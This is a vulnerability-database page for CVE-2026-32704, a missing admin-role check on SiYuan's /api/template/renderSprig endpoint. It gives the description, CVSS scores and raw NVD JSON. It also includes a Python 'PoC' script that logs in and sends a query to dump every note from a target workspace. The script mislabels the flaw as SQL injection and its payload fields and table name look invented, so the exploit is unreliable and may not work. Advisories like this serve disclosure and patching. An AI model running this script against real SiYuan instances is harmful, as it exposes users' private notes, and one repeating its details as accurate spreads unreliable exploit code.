Security Vulnerability Report
中文
CVE-2026-32704 CVSS 6.5 MEDIUM

CVE-2026-32704

Published: 2026-03-16 14:19:41
Last Modified: 2026-03-17 19:02:26

Description

SiYuan is a personal knowledge management system. Prior to 3.6.1, POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes. This vulnerability is fixed in 3.6.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:* - VULNERABLE
SiYuan < 3.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-32704 PoC - SiYuan SQL Injection via /api/template/renderSprig # Target: SiYuan instance < 3.6.1 TARGET_URL = "http://target:8336" USERNAME = "attacker" PASSWORD = "password" def get_token(): """Authenticate and get session token""" login_url = f"{TARGET_URL}/api/auth/login" data = { "username": USERNAME, "password": PASSWORD } response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get('data', {}).get('token') return None def exploit_sql_injection(token): """Execute arbitrary SQL via renderSprig endpoint""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload - extract all note content # The endpoint lacks model.CheckAdminRole validation payload = { "id": "sql_injection_payload", "sql": "SELECT id, title, content FROM siyuan_note --", "template": "${sql}" } exploit_url = f"{TARGET_URL}/api/template/renderSprig" response = requests.post(exploit_url, json=payload, headers=headers) if response.status_code == 200: print("[+] SQL Injection successful!") print("Response:", response.text) return response.json() else: print("[-] Exploitation failed") return None if __name__ == "__main__": token = get_token() if token: print(f"[+] Obtained token: {token[:20]}...") exploit_sql_injection(token) else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32704", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:41.233", "lastModified": "2026-03-17T19:02:25.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. Prior to 3.6.1, POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes. This vulnerability is fixed in 3.6.1."}, {"lang": "es", "value": "SiYuan es un sistema de gestión de conocimiento personal. Antes de la versión 3.6.1, POST /API/template/renderSprig carece de model.CheckAdminRole, permitiendo a cualquier usuario autenticado ejecutar consultas SQL arbitrarias contra la base de datos del espacio de trabajo de SiYuan y exfiltrar todo el contenido de las notas, metadatos y atributos personalizados. Esta vulnerabilidad está corregida en la versión 3.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.1", "matchCriteriaId": "E1AA6470-222A-4841-A487-DF65F9859780"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}